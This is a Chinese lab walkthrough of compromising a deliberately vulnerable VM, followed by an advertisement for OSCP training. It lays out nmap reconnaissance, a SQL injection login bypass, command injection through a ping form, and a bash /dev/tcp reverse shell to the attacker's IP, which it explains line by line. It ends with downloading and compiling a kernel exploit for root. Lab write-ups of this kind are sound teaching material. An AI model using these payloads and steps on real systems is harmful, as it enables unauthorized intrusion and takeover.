1.将靶机导入至vm中
首先将靶机的网络设置为nat模式,然后在kali中使用arp-scan命令查找靶机ip
靶机ip为:61.139.2.130
arp-scan -l
2.使用nmap扫描目标ip的端口
nmap -p- 61.139.2.130
3.对存在端口进行服务版本和、系统版本、默认脚本检测
nmap -p 22,80,111,631,928,3306 61.139.2.130 -sV -O --version-all -sC
这其中有很多信息,例如:OpenSSH 3.9,Apache 2.0.52,linux 2.6.9-2.6.30。这些都是可以测试的地方,当然nmap扫描不一定都是正确的,需要自己去手动测试
4.对端口进行漏洞检测
nmap 61.139.2.130 -p 22,80,111,443,631,928,3306 --script=vuln
这里的cve我没有测试出来,我下次再测一遍
5.进行目录扫描
dirb http://61.139.2.130
发现存在Apache网页http://61.139.2.130/manual
同时有mysql登录界面
6.使用万能密码登陆进入
admin' or 1=1 #
7.登录进去后发现界面描述很迷,ping主机?没有提交框?直接查看源码
8.源码中发现有(')单引号未闭合导致后面代码无法被解析,这里需要burp抓包返回包删除单引号
拦截返回包
修改返回包,删除单引号
放包,得到ping提交框
9.测试ping本地靶机,发现可以使用连接符,那么可以进行远程命令执行
10.反弹shell
使用nc工具进行反弹shell
nc -lnvp 4444
攻击机开启4444端口监听
随后需要在ping的输入框中输入以下命令:
61.139.2.128; bash -c 'bash -i >& /dev/tcp/61.139.2.128/4444 0>&1'
命令解释:
;连接符
1.bash -c:
bash 是 Bourne Again SHell 的简称,是一种广泛使用的 Unix shell 和命令语言。
-c 选项告诉 bash 从下一个命令行参数中读取命令来执行,而不是从标准输入或脚本文件中读取。
2.'bash -i >& /dev/tcp/61.139.2.128/4444 0>&1':
这是 -c 选项指定的要执行的命令,被单引号包围以确保整个字符串被当作一个参数传递给 bash。
bash -i:启动一个新的交互式 Bash 会话。
>& /dev/tcp/61.139.2.128/4444:这部分是命令的关键。
> 是重定向操作符,用于将输出发送到指定的位置。
& 在这里不是后台运行的意思,而是用于指定文件描述符的重定向目标。在这个上下文中,它表示将标准输出(stdout,文件描述符为 1)和标准错误(stderr,文件描述符为 2,由于 Bash 默认会将 stderr 重定向到 stdout,所以这里不需要显式指定)都重定向到同一个地方。
/dev/tcp/61.139.2.128/4444 是一个特殊的文件路径,用于在 Bash 中表示一个 TCP 连接。/dev/tcp/ 是 Bash 中用于网络重定向的伪文件系统路径,61.139.2.128 是目标 IP 地址,4444 是目标端口号。
0>&1:这部分将标准输入(stdin,文件描述符为 0)重定向到标准输出(此时已经被重定向到 TCP 连接)。这意味着,从这个 Bash 会话中读取的任何输入都会通过 TCP 连接发送出去,而接收到的任何输出(包括命令的输出和错误消息)都会通过同一个连接发送回来。
综上所述,这个命令的作用是启动一个新的交互式 Bash 会话,并通过 TCP 连接(到 IP 地址 61.139.2.128的 4444 端口)进行输入输出。这种技术通常用于在防火墙后面建立反向 shell 连接,以便远程访问受限的系统。然而,它也可能被恶意用户用于未经授权地访问系统,因此应该谨慎使用,并确保只有受信任的用户能够建立这样的连接。
反弹shell成功!
发现是一个低权限用户,需要我们进行提权
11.提权
首先使用uname -mrs进行查看系统的版本(也可以使用uname -a查看内核版本)
得到版本信息,去网上搜相关的提权脚本
去Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers网站查找对应的漏洞
下载提权脚本,然后拖到kali中
kali中使用python开启80端口服务,方便靶机从攻击机中下载提权脚本
python -m http.server 80
再次进行nc连接,发现/ver/www/html目录没有下载权限
我们直接返回根目录,寻找有写入权限的目录,使用ls -la命令查看权限,发现/tmp有写入权限,进入tmp目录,在此处执行wget下载命令
9542.c文件下载成功,然后使用gcc编译改名为1,然后./1执行脚本,即可提权成功。
oscp报考
有想报考oscp的读者可以咨询作者,我们泷羽sec目前正在做oscp培训,泷老师带着打100+台靶机,同时还有直播讲解知识点,现在报名只要4000(某安oscp的课程要1.5w)
实践是检验真理的唯一标准,请大家积极实践
请大家指出的我问题和需要完善的地方,咱们共同进步
春不晚与诸君共勉,共创辉煌篇章
万般的努力只为出人头地,低头弯腰只为爬的更高,迟早有一天会当凌绝顶,一览众山小。